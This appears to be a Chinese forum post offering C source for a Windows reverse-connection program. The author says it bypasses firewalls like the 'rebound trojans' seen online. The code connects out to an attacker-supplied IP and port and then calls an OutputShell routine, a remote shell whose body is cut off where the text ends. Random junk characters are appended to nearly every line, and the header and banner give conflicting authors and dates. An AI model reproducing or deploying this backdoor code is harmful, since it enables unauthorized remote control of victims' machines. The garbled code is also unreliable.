这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ZtLn*M
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/* ============================== W7o/
Rebound port in Windows NT {|E7N"Qzg
By wind,2006/7 ui{_w @o
===============================*/ {LD8ie|x1`
#include y4L9Cxvs
#include Madaxx
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#pragma comment(lib,"wsock32.lib") 7:<Ed"rdE
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void OutputShell(); [E~TYk;
SOCKET sClient; k9xKaJ%1
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; cj<@~[uw
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void main(int argc,char **argv) W8NA.
{ iIw
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WSADATA stWsaData; i?/?{p$#a-
int nRet; `7_LJ
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SOCKADDR_IN stSaiClient,stSaiServer; ~&:R\
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if(argc != 3) P.B'Gh#^
{ %p60pn[(
printf("Useage:\n\rRebound DestIP DestPort\n"); 1F,_L}=o1s
return; k#) .E X
} $IT9@}*{
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WSAStartup(MAKEWORD(2,2),&stWsaData); ] O>7x
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z5[:Zf?h7J
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stSaiClient.sin_family = AF_INET; 8Q -F
stSaiClient.sin_port = htons(0); \Agg6tYr
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \W^+vuD8
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) hob$eWgr
{ n5/Tn7hY
printf("Bind Socket Failed!\n"); 3raA^d3!?
return; ^b %8_?2m
} J"%}t\Q
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stSaiServer.sin_family = AF_INET;
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RAI&;"
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :Qo
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ji
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{ 9%14k
printf("Connect Error!"); ~{G:,|`
return; c.Z4f7
} 9 lJj/
OutputShell(); \=_q{
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void OutputShell() )N6[rw<